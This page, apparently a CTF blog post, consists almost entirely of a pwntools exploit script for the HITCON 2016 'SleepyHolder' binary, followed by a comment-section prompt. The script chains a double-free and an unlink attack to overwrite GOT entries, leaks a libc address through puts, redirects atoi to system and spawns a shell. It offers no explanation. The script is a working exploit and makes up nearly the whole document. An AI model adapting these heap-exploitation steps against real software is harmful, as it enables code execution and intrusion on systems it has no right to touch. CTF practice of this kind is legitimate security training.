1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import* from LibcSearcher import *
p=process("./sleepyHolder_hitcon_2016") context.log_level="debug" context(arch='amd64') elf=ELF('./sleepyHolder_hitcon_2016') libc=ELF('libc-2.23.so') def add(chose,content): p.sendlineafter('3. Renew secret\n','1') p.sendlineafter('What secret do you want to keep?',str(chose)) p.sendafter('Tell me your secret: ',content) def dele(index): p.sendlineafter('3. Renew secret\n','2') p.sendlineafter('Which Secret do you want to wipe?',str(index))
def edit(ch,content): p.sendlineafter('3. Renew secret\n','3') p.sendlineafter('Which Secret do you want to renew?',str(ch)) p.sendafter('Tell me your secret: ',content)
add(1,'AAAA') add(2,'BBBB')
dele(1) add(3,'cccc')
dele(1) add(1,'aaaa')
fd=0x6020d0-0x18 bk=0x6020d0-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20) edit(1,payload)
dele(2)
payload=p64(0)+p64(elf.got['free'])+p64(0)+p64(0x6020c0)+p32(1)+p32(1)+p32(1) edit(1,payload)
edit(2,p64(0x400760)) edit(1,p64(0x602020))
dele(2)
p.recvuntil('2. Big secret') puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print(hex(puts_addr)) base=puts_addr-libc.sym['puts']
system=base+libc.sym['system']
payload=p64(elf.got['atoi'])+p64(0)+p32(1)+p32(1)+p32(1) edit(1,payload)
edit(2,p64(system))
p.sendlineafter('3. Renew secret\n','sh\n')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~